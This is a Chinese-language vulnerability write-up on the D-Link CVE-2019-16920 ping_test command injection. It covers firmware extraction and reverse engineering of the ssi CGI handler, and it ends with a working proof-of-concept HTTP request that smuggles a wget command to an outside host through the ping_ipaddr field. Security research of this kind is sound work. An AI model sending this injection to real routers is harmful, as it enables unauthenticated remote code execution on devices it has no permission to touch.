背景:
2019年9月,FortiGuard 实验室发现并报告了D-Link 多款产品中含有未经 身份验证的命令注入漏洞(FG-VD-19-117 / CVE-2019-16920 ),该漏洞可能会导致远程执行代码,危害等级高。
根据 FortiGuard实验室的报告,该漏洞在以下D-Link产品的最新固件中存在:
DIR-655 、DIR-866L 、DIR-652 、DHP-1565
根据 https://www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce.html 报告中披露的信息,选DIR-866L路由器固件进行分析,验证漏洞的可利用性。(文章中有不足之处,请大家多多指点)
一. 漏洞分析
1. 固件链接,选取自己感兴趣的固件进行下载分析
ftp://ftp.dlink.eu/Products/dhp/dhp-1565/driver_software/DHP-1565_fw_revA_1_1-00b35_en_20121024.zipftp://ftp.dlink.eu/Products/dhp/dhp-1565/driver_software/DHP-1565_fw_reva_101b13_ALL_en_20120420.zipftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-866L/REVA/DIR-866L_REVA_FIRMWARE_PATCH_1.03.B01.ZIPftp://ftp2.dlink.com/PRODUCTS/DIR-866L/REVA/DIR-866L_REVA_FIRMWARE_1.02.B11.ZIPftp://ftp2.dlink.com/PRODUCTS/DIR-866L/REVA/DIR-866L_REVA_FIRMWARE_1.01.B04.ZIPftp://ftp2.dlink.com/PRODUCTS/DIR-866L/REVA/DIR-866L_REVA_FIRMWARE_1.00.B07.ZIPftp://ftp.dlink.eu/Products/dir/dir-652/driver_software/DIR-652_fw_reva_102b11DE_ALL_en_20110727.ziphttps://drivers.softpedia.com/dyn-search.php?search_term=DIR-655
2. 下载固件,解压固件并获取文件系统
wget ftp://ftp2.dlink.com/PRODUCTS/DIR-866L/REVA/DIR-866L_REVA_FIRMWARE_1.01.B04.ZIPbinwalk -Me DIR866LA1_FW101b04.bin

3. 模拟运行固件,查看登录管理界面文件;通过Fiddler 或者 Wireshark抓包的形式进行分析:
i. 打开路由器界面

点击login执行登录操作:

html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=MTIz&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=31814

可以知道,通过 /apply_sec.cgi 执行登录操作,登录界面为 login_pic.asp
ii. 查看固件中服务器的配置文件(lighttpd_base.conf),可知如下信息:
var.server_root = "/www/file_access/" #网页服务器的根目录:server.document-root = server_rootinclude "modules.conf" #某块加载modules.conf:{ cgi.assign = ( "webfile_cgi.cgi" => server_root + "webfile_cgi.cgi", "my_cgi.cgi" => server_root + "my_cgi.cgi", "login.htm" => "/www/cgi/ssi")}
/www/file_access/cgi

由此可以知道:
网页服务器根目录为:/www/file_access/
cgi文件处理程序为:/www/cgi/ssi
4. 分析ssi 应用程序,url为 /apply_sec.cgi 而表单元素action值不同情况下请求响应的原理以及利用
注意:
本文章中所说的action不是表单form属性中的资源action,如:
<form id="form2" name="form2" method="post" action="apply_sec.cgi">
而是表单中的输入单元的属性名,如:
type="hidden" name="action" value="ping_test">
i. 通过对 ssi 应用程序 启动流程的分析,ssi应用程序会对 url为 /apply_sec.cgi 请求进行单独处理。

对于url为 /apply_sec.cgi 请求,根据功能的不同,为其注册功能相对应的响应函数,并在结构体struct_api_map中记录,并形成action_register_buffer 注册函数结构体。
根据分析结果,定义 struct_api_map 结构体为:

action_register_buffer全局数组如下:

在ssi 应用程序的 main函数中调用 init_plugin函数,设置action_register_buffer 的引用


当 /apply_sec.cgi 提交请求时,程序会根据表单中的参数 action 的值,从注册函数结构体数组中查找对应的响应函数,并调用处理。
此过程在 do_ssc 函数 中处理:

ii. 在 do_ssc 函数中对 url 为 /apply_sec.cgi的请求进行处理,具体流程如下:
1. current_user的值 与 user_username经过 base64_encode 处理之后的值进行比较。
查看nvram的默认配置文件 nvram.default如下:

str_current_user = (char *)nvram_get("current_user");str_user_username = (byte *)nvram_get("user_username");

2. 获取表单 action的值,验证是否为 /apply_sec.cgi 用户登录操作

3. 根据action的值,从数组中查看是否有对应的注册函数,如果有并调用处理

到目前为止可以知道,/apply_sec.cgi 对应的表单中,action的值决定了ssi调用不同功能的处理函数,因此可以通过伪造action的值发送不同的请求,来达到我们想要的目的。
5. 对action=”ping_test” 响应函数FUN_0041a060_ping_test进行分析(含有命令注入漏洞)
i. 在action_register_buffer结构体数组中,有这么一项结构体:

ii. FUN_0041a060_ping_test 命令执行流程如下:

程序对于 action=”ping_test”的处理流程为:
1. 获取表单元素 ping_ipaddr的值:str_ping_ipaddr2. 从str_ping_ipaddr字符串中,获取ip地址:acStack_ipaddr3. 将ip地址与命令语句进行拼接:sprintf(cmd_ping_buff,"ping -c 1 %s 2>&1",acStack_ipaddr);4. 执行命令语句:__stream_00 = popen(cmd_ping_buff,"r");
通过对流程的分析可以知道,程序并没有对表单元素ping_ipaddr的值进行安全性检查,因此存在命令执行漏洞。
iii. 查找是否含有符合要求的表单文件:url为 /apply_sec.cgi 并且action=”ping_test”
在系统文件根目录下执行查找语句:
grep "ping_ipaddr" ./ -r -n

查看 ./www.wizard_detect_wan.asp 可知是我们想要的表单

<form id="form2" name="form2" method="post" action="apply_sec.cgi"> <input type="hidden" id="html_response_page" name="html_response_page" value="wizard_detect_wan.asp "> <input type="hidden" id="html_response_message" name="html_response_message" value=""> <input type="hidden" id="html_response_return_page" name="html_response_return_page" value="wizard_detect_wan.asp"> <input type="hidden" name="action" value="ping_test"> <input type="hidden" name="reboot_type" value="none"> <input type="hidden" id="wizard_detect" name="wizard_detect" value="1"> <input type="hidden" id="ping_ipaddr" name="ping_ipaddr" size=30 maxlength=150 value="mydlink.com,dlink.com,dlink.com.cn,dlink.com.tw,google.com" > <input type="hidden" id="ping_result" name="ping_result" value="">form>
二. 漏洞利用及展示
1. 执行远程注入:
通过远程ping 自己开启的8889端口,并执行命令: echo EversecLab,输出EversecLab,ping_test 请求利用:
POST /apply_sec.cgi HTTP/1.1Host: 192.168.0.1:8080Content-Length: 136Cache-Control: max-age=0Origin: http:// 192.168.0.1:8080Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Referer: http://1192.168.0.1:8080/login_pic.aspAccept-Language: zh-CN,zh;q=0.9Connection: closehtml_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://*.*.*.*:8889/$(echo EversecLab)
输出效果:

2. 展示上文提到的通过默认用户名和密码登录设备
i. 登录前

ii. 点击login,登录后效果:

三. 参考:
https://www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce.html
1183

被折叠的 条评论
为什么被折叠?



